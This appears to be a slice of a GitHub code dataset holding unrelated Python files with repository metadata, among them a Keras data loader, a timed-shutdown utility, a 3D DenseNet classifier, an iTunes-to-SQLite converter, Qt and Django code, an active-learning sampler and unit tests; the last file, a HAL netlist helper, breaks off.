All Rights Reserved. #\n# #\n# DISCLAIMER: The authors and publisher of this book have used their #\n# best efforts in preparing the book. These efforts include the #\n# development, research, and testing of the theories and programs #\n# to determine their effectiveness. The authors and publisher make #\n# no warranty of any kind, expressed or implied, with regard to these #\n# programs or to the documentation contained in these books. The authors #\n# and publisher shall not be liable in any event for incidental or #\n# consequential damages in connection with, or arising out of, the #\n# furnishing, performance, or use of these programs. #\n##########################################################################\n","repo_name":"PythonClassRoom/PythonClassBook","sub_path":"trash/Referencias/Python_How_to_program/examples/ch11/fig11_04.py","file_name":"fig11_04.py","file_ext":"py","file_size_in_byte":2486,"program_lang":"python","lang":"en","doc_type":"code","stars":11,"dataset":"github-code","pt":"67"} +{"seq_id":"13236224707","text":"import os\nimport numpy as np\nfrom tensorflow.keras.preprocessing.image import ImageDataGenerator\n\ndef load_data_from_directory(data_dirs, batch_size=32, image_size=(224, 224)):\n \"\"\"\n Loads image data from multiple directories using ImageDataGenerator.\n Args:\n data_dirs: List of directory paths where the data is located.\n batch_size: Number of images to load in each batch (default=32).\n image_size: Tuple containing the size of the images (default=(224, 224)).\n Returns:\n A tuple containing the loaded image data and the number of classes.\n \"\"\"\n # Create a list of sub-directories in each data directory\n sub_dirs = []\n for data_dir in data_dirs:\n sub_dirs.append([os.path.join(data_dir, d) for d in os.listdir(data_dir) if os.path.isdir(os.path.join(data_dir, d))])\n\n # Combine all sub-directories into a single list\n sub_dirs = [sub_dir for dirs in sub_dirs for sub_dir in dirs]\n\n # Use ImageDataGenerator to load the images\n datagen = ImageDataGenerator(rescale=1./255)\n data = datagen.flow_from_directory(directory=sub_dirs[0],\n target_size=image_size,\n class_mode='categorical',\n batch_size=batch_size)\n for sub_dir in sub_dirs[1:]:\n data_dir = datagen.flow_from_directory(directory=sub_dir,\n target_size=image_size,\n class_mode='categorical',\n batch_size=batch_size)\n data = data.concatenate(data_dir)\n\n # Get the number of classes\n num_classes = len(data.class_indices)\n\n return data, num_classes\n\ndata_dirs = ['path/to/dataset1', 'path/to/dataset2', 'path/to/dataset3', 'path/to/dataset4']\nbatch_size = 32\nimage_size = (224, 224)\ntrain_data, num_classes = load_data_from_directory(data_dirs, batch_size=batch_size, image_size=image_size)\n\n","repo_name":"kethland/puzzler","sub_path":"data_loader.py","file_name":"data_loader.py","file_ext":"py","file_size_in_byte":2007,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"14604008927","text":"\"\"\"\nPrograma para desligar o computador depois de X horas/minutos/segundos.\n\"\"\"\n\nimport datetime\nfrom time import sleep\nfrom funcionalidades import desligar1, desligar2\n\nif __name__ == '__main__':\n modo = str(input('Digite a opção de desligamento: (1 ou 2) '))\n\n print('(s) = segundo | (m) = minuto | (h) = hora')\n escolha = str(input('Escolha a unidade de tempo para o contador: (s) | (m) | (h) '))\n\n if escolha.lower() == 's':\n segundos = int(input('Digite os segundos para desligar: '))\n\n sleep(segundos)\n\n if modo == '1':\n desligar1()\n else:\n desligar2()\n\n elif escolha.lower() == 'm':\n minutos = int(input('Digite os minutos para desligar: '))\n\n sleep(minutos * 60)\n\n if modo == '1':\n desligar1()\n else:\n desligar2()\n\n # FORMA DE DESLIGAR USANDO O MÓDULO DATETIME:\n \"\"\"\n hora_agora = datetime.datetime.now()\n tempo_somado = datetime.timedelta(minutes=minutos)\n hora_final = hora_agora + tempo_somado\n\n while True:\n if (datetime.datetime.now().minute == hora_final.minute) and (datetime.datetime.now().second == hora_final.second):\n if modo == '1':\n desligar1()\n else:\n desligar2()\n break\n \"\"\"\n\n elif escolha.lower() == 'h':\n horas = int(input('Digite a quantidade de horas para desligar: '))\n\n sleep(horas * 3600)\n\n if modo == '1':\n desligar1()\n else:\n desligar2()\n\n # FORMA DE DESLIGAR USANDO O MÓDULO DATETIME:\n \"\"\"\n hora_agora = datetime.datetime.now()\n tempo_somado = datetime.timedelta(hours=horas)\n hora_final = hora_agora + tempo_somado\n\n while True:\n if (datetime.datetime.now().hour == hora_final.hour) and (datetime.datetime.now().minute == hora_final.minute):\n if modo == '1':\n desligar1()\n else:\n desligar2()\n break\n \"\"\"\n","repo_name":"Drarlian/Projeto_Desliga","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":2096,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"14149477077","text":"from keras.models import Model\nfrom keras.layers import Input, Conv3D, Dense, BatchNormalization, Concatenate, Dropout, AveragePooling3D, GlobalAveragePooling3D, Activation\nfrom keras.optimizers import Adam\nfrom config import *\n\ndef bn_relu_conv(x, filters, kernel_size=(3, 3, 3)):\n x = BatchNormalization()(x)\n x = Activation('relu')(x)\n x = Conv3D(filters=filters, kernel_size=kernel_size, padding='same')(x)\n\n return x\n\ndef dense_block(x):\n print('dense block')\n print(x.get_shape())\n\n for _ in range(DENSE_NET_BLOCK_LAYERS):\n y = x\n\n if DENSE_NET_ENABLE_BOTTLENETCK:\n y = bn_relu_conv(y, filters=DENSE_NET_GROWTH_RATE, kernel_size=(1, 1, 1))\n\n y = bn_relu_conv(y, filters=DENSE_NET_GROWTH_RATE, kernel_size=(3, 3, 3))\n x = Concatenate(axis=4)([x, y])\n print(x.get_shape())\n\n return x\n\ndef transition_block(x):\n print('transition block')\n print(x.get_shape())\n\n filters = x.get_shape()[4].value\n filters = int(filters * DENSE_NET_TRANSITION_COMPRESSION)\n\n x = Conv3D(filters=filters, kernel_size=(1, 1, 1), padding='same')(x)\n x = AveragePooling3D(pool_size=(2, 2, 2), padding='same')(x)\n print(x.get_shape())\n\n return x\n\ndef get_DenseNet_classifier():\n inputs = Input((CLASSIFY_INPUT_WIDTH, CLASSIFY_INPUT_HEIGHT, CLASSIFY_INPUT_DEPTH, CLASSIFY_INPUT_CHANNEL))\n x = Conv3D(DENSE_NET_INITIAL_CONV_DIM, (3, 3, 3), padding='same')(inputs)\n print('input')\n print(x.get_shape())\n\n for i in range(DENSE_NET_BLOCKS):\n x = dense_block(x)\n if i != DENSE_NET_BLOCKS - 1:\n x = transition_block(x)\n\n print('top')\n x = GlobalAveragePooling3D()(x)\n print(x.get_shape())\n\n if DENSE_NET_ENABLE_DROPOUT:\n x = Dropout(DENSE_NET_DROPOUT)(x)\n\n x = Dense(2, activation='softmax')(x)\n print(x.get_shape())\n\n model = Model(inputs=inputs, outputs=x)\n model.compile(optimizer=Adam(lr=TRAIN_CLASSIFY_LEARNING_RATE), loss='binary_crossentropy', metrics=['accuracy'])\n\n return model\n","repo_name":"wikke/Tianchi-Medical-LungTumorDetect","sub_path":"model_DenseNet.py","file_name":"model_DenseNet.py","file_ext":"py","file_size_in_byte":2027,"program_lang":"python","lang":"en","doc_type":"code","stars":381,"dataset":"github-code","pt":"67"} +{"seq_id":"24894246231","text":"#!/home/user1/miniconda3/bin/python\n\nimport argparse\nimport plistlib\nimport sqlite3\n\n\ndef main():\n parser = argparse.ArgumentParser()\n parser.add_argument('--library',\n help='Path to XML library file',\n type=argparse.FileType('rb'),\n default='./Library.xml')\n parser.add_argument('--db',\n help='Path to SQLite DB file',\n type=argparse.FileType('w+b'),\n default='itunes.db')\n\n args = parser.parse_args()\n library = plistlib.load(args.library)\n\n tracks_table = process_tracks(library)\n playlists_table, playlist_itms_table = process_playlists(library)\n\n conn = sqlite3.connect(args.db)\n conn.execute(tracks_table)\n conn.execute(playlists_table)\n conn.execute(playlist_itms_table)\n\n conn.commit()\n conn.close()\n\n\ndef process_tracks(library):\n query = \"INSERT INTO `CoreTracks` (TrackID,Uri,MimeType,FileSize,BitRate,SampleRate,Title,TitleLowered,TitleSort,TitleSortKey,TrackNumber,TrackCount,Disc,DiscCount,Duration,Year,Genre,Composer,Conductor,Grouping,Copyright,LicenseUri,Comment,Rating,Score,PlayCount,SkipCount,LastPlayedStamp,LastSkippedStamp,DateAddedStamp,DateUpdatedStamp,MetadataHash,BPM,LastSyncedStamp,FileModifiedStamp) \"\n query += \"VALUES \"\n\n for track_id in library['Tracks'].keys():\n \n print(track_id)\n track = library['Tracks'][track_id]\n\n query += \"(\"\n query += track['Track ID'] + \", \"\n query += track['Location'] + \", \"\n query += track['Kind'] + \", \"\n query += track['Size'] + \", \"\n query += track['Bit Rate'] + \", \"\n query += track['Sample Rate'] + \", \"\n query += track['Name'] + \", \"\n query += track['Name'].lower() + \", \"\n query += track['Total Time'] + \", \"\n query += track['Track Number'] + \", \"\n query += track['Year'] + \", \"\n query += track['Date Modified'] + \", \"\n query += track['Date Added'] + \", \"\n query += track['Artwork Count'] + \", \"\n query += track['Persistent ID'] + \", \"\n query += track['Track Type'] + \", \"\n query += track['File Folder Count'] + \", \"\n query += track['Library Folder Count'] + \", \"\n query += track['Artist'] + \", \"\n query += track['Album'] + \", \"\n query += track['Genre'] + \", \"\n query += track['Comments'] + \", \"\n query += \"),\"\n\n return query\n\n\ndef process_playlists(library):\n all_keys = set()\n inserts = []\n\n for playlist in library['Playlists']:\n print(playlist)\n try:\n track_ids = playlist['Playlist Items']\n del playlist['Playlist Items']\n except KeyError as e:\n track_ids = []\n\n playlist_keys = list(map(slugify, playlist.keys()))\n playlist_values = playlist.values()\n\n all_keys = all_keys.union(set(playlist_keys))\n\n inserts.append(get_parameterized(\n 'playlists', playlist_keys, playlist_values)\n )\n\n for track in track_ids:\n inserts.append(get_parameterized(\n 'playlist_items',\n ['playlist_id', 'track_id'],\n [playlist['Playlist ID'], track['Track ID']]\n ))\n\n playlists_table = \"CREATE TABLE playlists ({0})\".format(\n ', '.join(all_keys)\n )\n items_table = 'CREATE TABLE playlist_items (playlist_id, track_id)'\n\n return playlists_table, items_table, inserts\n\n\nif __name__ == '__main__':\n main()","repo_name":"emildekeyser/itl","sub_path":"pls2sql.py","file_name":"pls2sql.py","file_ext":"py","file_size_in_byte":3539,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"31472210830","text":"# -*- coding: utf-8 -*-\nfrom __future__ import unicode_literals\n\nfrom django.db import migrations, models\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n ('config', '0026_auto_20200821_1448'),\n ]\n\n operations = [\n migrations.RenameField(\n model_name='service',\n old_name='support_http',\n new_name='support_api',\n ),\n ]\n","repo_name":"futsystems/cmc.website","sub_path":"config/migrations/0027_auto_20200821_1451.py","file_name":"0027_auto_20200821_1451.py","file_ext":"py","file_size_in_byte":398,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"40084746170","text":"import os\nimport json\nfrom PySide2.QtWidgets import QDialog, QFileDialog\nfrom tool.core.layout.new_skeleton_dialog_ui import Ui_Dialog\nfrom anim_utils.animation_data import BVHReader, BVHWriter, MotionVector, SkeletonBuilder, parse_asf_file\n\n\nclass NewSkeletonDialog(QDialog, Ui_Dialog):\n def __init__(self, default_name=\"\", parent=None):\n QDialog.__init__(self, parent)\n Ui_Dialog.setupUi(self, self)\n self.acceptButton.clicked.connect(self.slot_accept)\n self.rejectButton.clicked.connect(self.slot_reject)\n self.loadBVHButton.clicked.connect(self.slot_load_bvh_str)\n self.loadASFButton.clicked.connect(self.slot_load_asf_str)\n self.loadSkeletonModelButton.clicked.connect(self.slot_load_skeleton_model)\n self.success = False\n self.name = default_name\n self.nameLineEdit.setText(default_name)\n self.data = None\n self.skeleton_model = None\n\n\n def slot_accept(self):\n self.name = str(self.nameLineEdit.text())\n self.success = True\n self.close()\n\n def slot_reject(self):\n self.close()\n \n def slot_load_bvh_str(self): \n filename = QFileDialog.getOpenFileName(self, 'Open File', '.')[0]\n filename = str(filename)\n if os.path.isfile(filename):\n try:\n bvh = BVHReader(filename)\n skeleton = SkeletonBuilder().load_from_bvh(bvh, list(bvh.get_animated_joints()))\n self.data = skeleton.to_unity_format()\n print(\"loaded bvh string from\", filename)\n except Exception as e:\n self.data = None\n print(\"Could not read file\", e.args, filename)\n\n def slot_load_asf_str(self): \n filename = QFileDialog.getOpenFileName(self, 'Open File', '.')[0]\n filename = str(filename)\n if os.path.isfile(filename):\n try:\n asf_data = parse_asf_file(filename)\n skeleton = SkeletonBuilder().load_from_asf_data(asf_data)\n self.data = skeleton.to_unity_format()\n print(\"loaded asf string from\", filename)\n except Exception as e:\n self.data = None\n print(\"Could not read file\", e.args, filename)\n \n def slot_load_skeleton_model(self):\n filename = QFileDialog.getOpenFileName(self, 'Open File', '.')[0]\n filename = str(filename)\n if os.path.isfile(filename):\n try:\n with open(filename, \"rt\") as in_file:\n self.skeleton_model = json.load(in_file)\n print(\"loaded skeleton model from\", filename)\n except Exception as e:\n self.skeleton_model = None\n print(\"Could not read file\", e.args)\n","repo_name":"eherr/motion_preprocessing_tool","sub_path":"tool/core/dialogs/new_skeleton_dialog.py","file_name":"new_skeleton_dialog.py","file_ext":"py","file_size_in_byte":2787,"program_lang":"python","lang":"en","doc_type":"code","stars":14,"dataset":"github-code","pt":"67"} +{"seq_id":"1197019340","text":"# This is a list of these movie objects which is used to call the constructor\n# media.Movie() to instantiate movie objects.\n# This list of movies is what the open_movies_page() function of\n# fresh_tomatoes.py needs as input in order to build the HTML file\n# to display the website.\n\nimport fresh_tomatoes\nimport media\n\n# Create movie objects\njur_park = media.Movie(\"Jurassic Park\",\n \"https://upload.wikimedia.org/wikipedia/en/e/e7/Jurassic_Park_poster.jpg\", # noqa\n \"https://www.youtube.com/watch?v=f5C7dqrAItM\")\n\nlost_world = media.Movie(\"The Lost World\",\n \"https://upload.wikimedia.org/wikipedia/en/c/cc/The_Lost_World_%E2%80%93_Jurassic_Park_poster.jpg\", # noqa\n \"https://www.youtube.com/watch?v=vtfwgaHD5_w\")\n\ndinosaur = media.Movie(\"Dinosaur\",\n \"https://upload.wikimedia.org/wikipedia/en/b/bc/Dinosaurmovieposter.jpg\", # noqa\n \"https://www.youtube.com/watch?v=HlNRVZ871os\")\n\nwere_back = media.Movie(\"We're Back!\",\n \"https://upload.wikimedia.org/wikipedia/en/c/c6/We%27re_Back%21_Movie_Poster.jpg\", # noqa\n \"https://www.youtube.com/watch?v=XOLcsnqBJjI\")\n\ngood_dino = media.Movie(\"The Good Dinosaur\",\n \"https://upload.wikimedia.org/wikipedia/en/8/80/The_Good_Dinosaur_poster.jpg\", # noqa\n \"https://www.youtube.com/watch?v=O-RgquKVTPE\")\n\nland_lost = media.Movie(\"Land of the Lost\",\n \"https://upload.wikimedia.org/wikipedia/en/9/99/Land_of_the_Lost_poster.jpg\", # noqa\n \"https://www.youtube.com/watch?v=JFCDEajQwC0\")\n\nice_age = media.Movie(\"Ice Age: Dawn of the Dinosaurs\",\n \"https://upload.wikimedia.org/wikipedia/en/2/24/Ice_Age_Dawn_of_the_Dinosaurs_theatrical_poster.jpg\", # noqa\n \"https://www.youtube.com/watch?v=Y_nSwh2WjAM\")\n\nlost_2001 = media.Movie(\"The Lost World (2001)\",\n \"https://upload.wikimedia.org/wikipedia/en/0/0e/The_Lost_World_%282001_film%29.jpg\", # noqa\n \"https://www.youtube.com/watch?v=KXwsTDmniPM\")\n\ngiants_patagonia = media.Movie(\"Dinosaurs: Giants of Patagonia\",\n \"https://upload.wikimedia.org/wikipedia/en/f/f5/Dinosaurs_-_Giants_of_Patagonia_Poster.png\", # noqa\n \"https://www.youtube.com/watch?v=OZ35NJk75bQ\")\n\n# Store each movie object in a movies list\nmovies = [jur_park, lost_world, dinosaur, were_back, good_dino, land_lost,\n ice_age, lost_2001, giants_patagonia]\n\n# Use the open_movies_page function in fresh_tomatoes.py\n# to generate the html website\nfresh_tomatoes.open_movies_page(movies)\n","repo_name":"cloverhub/Movie-Trailer-Website","sub_path":"entertainment_center.py","file_name":"entertainment_center.py","file_ext":"py","file_size_in_byte":2766,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"67"} +{"seq_id":"72282448532","text":"'''\nReference:\n https://github.com/razvancaramalau/Sequential-GCN-for-Active-Learning\n'''\nfrom .activelearner import ActiveLearner\nfrom ..model import GCN\nfrom .kcenterGreedy import kCenterGreedy\n\nfrom tqdm import tqdm\nimport sys\nimport numpy as np\nimport torch\nimport torch.nn.functional as F\nfrom torch import optim\nfrom torch.utils.data import DataLoader, Subset\n\n\nclass SequentialGCN(ActiveLearner):\n def __init__(self, dataset, args, uncertain_gcn=True):\n super().__init__(dataset, args)\n # hyperparameters\n self.subset_size = args.subset_size\n\n # optimizer\n self.lr = args.lr_gcn\n self.wdecay = args.wdecay\n\n # SeqGCN\n self.hidden_units = args.hidden_units\n self.dropout_rate = args.dropout_rate\n self.lambda_loss = args.lambda_loss\n self.s_margin = args.s_margin\n self.num_epoch_gcn = 200\n\n self.uncertain_gcn = uncertain_gcn\n\n\n def query(self, nQuery, model, idxs_lb=None):\n '''\n query data\n '''\n print('>> SeqGCN')\n # dataloader\n labeled_idxs = np.where(idxs_lb == True)[0]\n unlabeled_idxs = np.where(idxs_lb == False)[0]\n if self.subset_size is None or self.subset_size > len(unlabeled_idxs):\n subset = unlabeled_idxs.tolist()\n else:\n subset = np.random.choice(unlabeled_idxs, self.subset_size, replace=False).tolist()\n\n # Create unlabeled dataloader for the unlabeled subset\n indices = subset + labeled_idxs.tolist()\n unlabeled_set = Subset(self.dataset['train'], indices)\n unlabeled_loader = DataLoader(unlabeled_set, **self.kwargs)\n\n #binary_labels = torch.cat((torch.zeros([self.subset_size, 1]), (torch.ones([len(labeled_idxs), 1]))), 0)\n\n # get features\n features = get_features(model['backbone'], unlabeled_loader, self.device)\n features = F.normalize(features)\n adj = aff_to_adj(features, device=self.device)\n\n # GCN\n gcn_module = GCN(nfeat=features.shape[1],\n nhid=self.hidden_units,\n nclass=1,\n dropout=self.dropout_rate).to(self.device)\n\n gcn_optimizer = optim.Adam(gcn_module.parameters(), lr=self.lr, weight_decay=self.wdecay)\n\n #lbl = np.arange(self.subset_size, max(self.subset_size + len(labeled_idxs), len(self.dataset['train'][1])), 1)\n lbl = np.arange(len(subset), len(subset) + len(labeled_idxs), 1)\n nlbl = np.arange(0, len(subset), 1)\n\n gcn_module.train() # original code skiped this..\n\n ############\n features = features.to(self.device)\n for _ in tqdm(range(self.num_epoch_gcn), ncols=80):\n gcn_optimizer.zero_grad()\n outputs, _, _ = gcn_module(features, adj)\n loss = BCEAdjLoss(outputs.cpu(), lbl, nlbl, self.lambda_loss)\n loss.backward()\n gcn_optimizer.step()\n sys.stdout.write('\\rGCN Loss {:.6f}'.format(loss.item()))\n sys.stdout.flush()\n print()\n\n gcn_module.eval()\n with torch.no_grad():\n inputs = features.to(self.device)\n #labels = binary_labels.to(self.device)\n scores, _, feat = gcn_module(inputs, adj)\n\n if self.uncertain_gcn:\n s_margin = self.s_margin\n scores_median = np.squeeze(torch.abs(scores[:len(subset)] - s_margin).detach().cpu().numpy())\n arg = np.argsort(-(scores_median))[-nQuery:]\n query_indices = np.take(subset, arg)\n else:\n feat = features.detach().cpu().numpy()\n new_av_idx = np.arange(len(subset), (len(subset) + + len(labeled_idxs)))\n sampling2 = kCenterGreedy(feat)\n batch2 = sampling2.select_batch_(new_av_idx, nQuery)\n other_idx = [x for x in range(len(subset)) if x not in batch2]\n arg = other_idx + batch2\n query_indices = arg[-nQuery:]\n\n '''\n print(\"Max confidence value: \", torch.max(scores.data))\n print(\"Mean confidence value: \", torch.mean(scores.data))\n preds = torch.round(scores)\n correct_labeled = (preds[self.subset_size:, 0] == labels[self.subset_size:, 0]).sum().item() / (\n (cycle + 1) * nQuery)\n correct_unlabeled = (preds[:self.subset_size, 0] == labels[:self.subset_size, 0]).sum().item() / self.subset_size\n correct = (preds[:, 0] == labels[:, 0]).sum().item() / (self.subset_size + (cycle + 1) * nQuery)\n print(\"Labeled classified: \", correct_labeled)\n print(\"Unlabeled classified: \", correct_unlabeled)\n print(\"Total classified: \", correct)\n '''\n\n return query_indices\n\n\n\ndef get_features(model, unlabeled_loader, device):\n model.eval()\n\n features = torch.tensor([]).to(device)\n with torch.no_grad():\n for inputs, _, _ in unlabeled_loader:\n inputs = inputs.to(device)\n _ = model(inputs)\n features_batch = model.get_embedding()\n features_batch = F.relu(features_batch)\n features = torch.cat((features, features_batch), 0)\n\n feat = features.detach().cpu() #.numpy()\n return feat\n\n\ndef aff_to_adj(x, device='cpu'):\n x = x.detach().to(device)\n adj = torch.matmul(x, torch.t(x))\n adj += -1.0 * torch.eye(adj.shape[0]).to(device)\n adj_diag = torch.sum(adj, axis=0) # rowise sum\n adj = torch.matmul(adj, torch.diag(1 / adj_diag))\n adj = adj + torch.eye(adj.shape[0]).to(device)\n\n return adj\n\n\ndef BCEAdjLoss(scores, lbl, nlbl, l_adj):\n lnl = torch.log(scores[lbl])\n lnu = torch.log(1 - scores[nlbl])\n labeled_score = torch.mean(lnl)\n unlabeled_score = torch.mean(lnu)\n bce_adj_loss = -labeled_score - l_adj * unlabeled_score\n return bce_adj_loss","repo_name":"euphoria0-0/Active-Learning-for-Image-Classification","sub_path":"src/activelearner/seqgcn.py","file_name":"seqgcn.py","file_ext":"py","file_size_in_byte":5905,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"16597264034","text":"import unittest\nfrom anpy_lib import time_manage\nimport datetime as dt\nimport json\n\n\nclass TestManager(unittest.TestCase):\n def test_timer(self):\n timer = time_manage.Timer(3)\n time1 = dt.datetime(2014, 12, 4, 3, 0)\n time2 = dt.datetime(2014, 12, 4, 3, 6, 30)\n timer.start(time1)\n timer.stop(time2)\n self.assertEqual(timer.get_seconds_elapsed(), 30 + 6 * 60)\n\n def test_timer_from_json(self):\n json_str = '{\"current_sub_idx\": 3, \"timer_start\": 1415763004}'\n timer = time_manage.Timer.from_json(json.loads(json_str))\n time = dt.datetime(2014, 11, 12, 3, 30, 4, tzinfo=dt.timezone.utc)\n subject = 3\n self.assertEqual(timer.subject_idx, subject)\n self.assertEqual(time, timer.timer_start.astimezone(dt.timezone.utc))\n\n def test_timer_consistency(self):\n time = dt.datetime(2015, 6, 14, 16, 5, 30)\n time2 = dt.datetime(2015, 6, 24, 16, 5, 30)\n timer = time_manage.Timer(1)\n timer2 = time_manage.Timer(2)\n timer.start(time)\n timer2.start(time2)\n self.assertNotEqual(timer, timer2)\n\n json_str = json.dumps(timer.prepare_json())\n timer2 = time_manage.Timer.from_json(json.loads(json_str))\n self.assertEqual(timer, timer2)\n\n def test_manager(self):\n session_start = dt.time(14, 24)\n date = dt.date(2017, 4, 21)\n subjects = 'test1 test2 test3'.split(' ')\n m = time_manage.Manager(session_start, date, subjects, ['DateColumn'])\n self.assertEqual(m.time_records, [0, 0, 0])\n\n start_time = dt.datetime(2017, 4, 21, 14, 25, 10)\n end_time = dt.datetime(2017, 4, 21, 15, 20, 11)\n m.start_timer(1, start_time)\n m.stop_timer(end_time)\n self.assertEqual(list(map(int, m.time_records)),\n list(map(int, [0, (1 + 55 * 60) / 60, 0])))\n start_time = dt.datetime(2017, 4, 21, 14, 25, 10)\n end_time = dt.datetime(2017, 4, 21, 16, 20, 11)\n m.start_timer(2, start_time)\n m.stop_timer(end_time)\n self.assertEqual(list(map(int, m.time_records)),\n list(map(int, [0, (1 + 55 * 60) / 60,\n (1 + 115 * 60) / 60])))\n\n def test_manager_json(self):\n json_str = '{\"session_start\": [15, 41], \"date\": [2014, 12, 4],' \\\n + '\"subjects\": [\"suba\", \"subb\"], \"columns\": [\"DateColumn\"],' \\\n + '\"time_records\": [12, 14],' \\\n + '\"timer_running\": true, \"current_sub_idx\": 1,' \\\n + '\"timer_start\": 1415763004}'\n m = time_manage.Manager.from_json(json.loads(json_str))\n m2 = time_manage.Manager(dt.time(15, 41), dt.date(2014, 12, 4),\n ['suba', 'subb'], ['DateColumn'], [12, 14])\n m2.start_timer(1, dt.datetime.fromtimestamp(1415763004))\n self.assertEqual(m, m2)\n\n def test_manager_consistency(self):\n def check_consistent(manager):\n json_str = json.dumps(manager.prepare_json())\n decoded = json.loads(json_str)\n self.assertEqual(manager, time_manage.Manager.from_json(decoded))\n m = time_manage.Manager(dt.time(21, 20),\n dt.date(2008, 5, 2),\n ['banana', 'apple', 'dessert'],\n ['DateColumn'],\n [3, 4, 5])\n m2 = time_manage.Manager(dt.time(21, 20),\n dt.date(2008, 5, 2),\n ['banana', 'apple', 'dessert'],\n ['DateColumn'],\n [3, 4, 5])\n check_consistent(m)\n m.start_timer(2)\n self.assertNotEqual(m, m2)\n check_consistent(m)\n m.stop_timer()\n self.assertNotEqual(m, m2)\n check_consistent(m)\n\n\nif __name__ == '__main__':\n unittest.main()\n","repo_name":"rmpurp/anpy_old","sub_path":"tests/test_time_manage.py","file_name":"test_time_manage.py","file_ext":"py","file_size_in_byte":3911,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"44244556796","text":"# Environment and HAL initialization\nimport sys, os\nHAL_BASE = \"/usr/local/\"\nos.environ[\"HAL_BASE_PATH\"] = HAL_BASE\nsys.path.append(HAL_BASE+\"lib/\")\nimport hal_py\nhal_py.plugin_manager.load_all_plugins()\nfrom typing import List, Dict\nfrom hal_plugins import graph_algorithm\n\n\nZERO = hal_py.BooleanFunction.Value.ZERO\nONE = hal_py.BooleanFunction.Value.ONE\n\n\nclass ArgsPool():\n \"\"\"\n Manages all possible input variables to a given list of boolean functions\n Handles:\n 1. Incrementing arguments vector values\n 2. Making sure that oposite outputs of FFs will have oposite boolean values\n 3. When evaluating a function using ArgsPool, the relevent arguments for\n that function are selected and passed to it\n 4. Printing of the arguments, FSM state and FSM inputs\n \"\"\"\n\n def bool2str(bool_val: hal_py.BooleanFunction.Value) -> str:\n \"\"\"\n Convert hal boolean value to '0' or '1' characters\n \"\"\"\n\n if bool_val == ZERO:\n return \"0\"\n else:\n return \"1\"\n\n def __init__(self, netlist: hal_py.Netlist, functions_list: List[hal_py.BooleanFunction]) -> None:\n \"\"\"\n Collecting all argument of the given function list and creates an ArgsPool instance\n\n Args:\n netlist (hal_py.Netlist): The netlist from which the functions are taken\n functions_list (List[hal_py.BooleanFunction]): List of functions from which to\n collect arguments\n \"\"\"\n\n # List[str]: Strings of net ids of the arguments of all the functions (no repetitions)\n self.net_ids_str = []\n\n # Dict[str, hal_py.BooleanFunction.Value]: Arguments dict (ready for evaluate() function)\n self.args = {}\n \n # int: Numeric vaule representing the arguments vector\n # (for example, if the args are [0, 1, 1], self.args_bin = 3)\n self.args_bin = 0\n\n self.pin_names = [] # List[str]: Name of the pins from which each net starts\n self.gate_names = [] # List[str]: Name of gates from which each net starts\n \n # List[hal_py.Net]: Nets representing the state of the FSM (nets starting at\n # a 'Q' pin of a flip flop)\n self.state_nets = []\n\n # List[hal_py.Net]: Nets representing the input of the FSM (global input nets)\n self.input_nets = []\n\n for function in functions_list:\n new_names = function.get_variables()\n for name in new_names:\n if name not in self.net_ids_str:\n self.net_ids_str.append(name)\n self.args[name] = ZERO\n \n net = netlist.get_net_by_id(int(name))\n\n # If a net is a global input net, consider it an input to the FSM\n if net.is_global_input_net():\n self.input_nets.append(net)\n self.pin_names.append(netlist.get_net_by_id(int(name)).get_name())\n self.gate_names.append('Global')\n else:\n source_endpoint = netlist.get_net_by_id(int(name)).get_sources()[0]\n self.gate_names.append(source_endpoint.get_gate().get_name())\n pin_name = source_endpoint.get_pin()\n self.pin_names.append(pin_name)\n\n # If a net starts at a 'Q' pin of a ff, consider it a state bit of the FSM\n if pin_name == \"Q\":\n self.state_nets.append(net)\n\n # int: Maximal number that can be represented with the arguments\n self.max_args_val = 2 ** len(self.net_ids_str) - 1\n\n self.is_finished_states = False # bool: True if thera are no more possible states\n\n self.validate_args()\n\n def __str__(self) -> str:\n \"\"\"\n String representation of the arguments vector\n\n Returns:\n str: A string describing for each argument:\n - Net ID\n - Gate name\n - Pin name\n - Boolean value (0 or 1)\n \"\"\"\n\n state_nets_ids = [str(net.get_id()) for net in self.state_nets]\n input_nets_ids = [str(net.get_id()) for net in self.input_nets]\n net_str = \"Net:\\t\"\n gate_str = \"Gate:\\t\"\n pin_str = \"Pin:\\t\"\n val_str = \"Value:\\t\"\n input_str = \"Input:\\t\"\n state_str = \"State:\\t\"\n for ind, cur_net in enumerate(self.net_ids_str):\n # Net\n net_str += \"{}\\t\".format(self.net_ids_str[ind])\n\n # Gate\n cur_gate_name = self.gate_names[ind]\n gate_str += \"{}\".format(cur_gate_name)\n if len(cur_gate_name) < 8:\n gate_str += \"\\t\"\n\n # Pin\n cur_pin_name = self.pin_names[ind]\n pin_str += \"{}\".format(cur_pin_name)\n if len(cur_pin_name) < 8:\n pin_str += \"\\t\"\n\n # Value\n if self.args[cur_net] == ZERO:\n value = 0\n else:\n value = 1\n val_str += \"{}\\t\".format(value)\n\n # Input\n if cur_net in input_nets_ids:\n input_str += \"\\u2191\\t\".format(value)\n else:\n input_str += \"\\t\".format(value)\n\n # State\n if cur_net in state_nets_ids:\n state_str += \"\\u2191\\t\".format(value)\n else:\n state_str += \"\\t\".format(value)\n\n return net_str + \"\\n\" + gate_str + \"\\n\" + pin_str + \"\\n\" + \\\n val_str + \"\\n\" + input_str + \"\\n\" + state_str + \"\\n\"\n\n def get_state_str(self) -> str:\n \"\"\"\n Get a string which is the concatenation of the values of the\n arguments representing the state of the FSM\n\n Returns:\n str: The state of the FSM (for example 0010)\n \"\"\"\n\n state_vector_str = \"\"\n for state_net in self.state_nets:\n net_id = str(state_net.get_id())\n state_vector_str += ArgsPool.bool2str(self.args[net_id])\n return state_vector_str\n\n def get_input_str(self) -> str:\n \"\"\"\n Get a string which is the concatenation of the values of the\n arguments representing the input of the FSM\n\n Returns:\n str: The input of the FSM (for example 11001)\n \"\"\"\n\n input_vector_str = 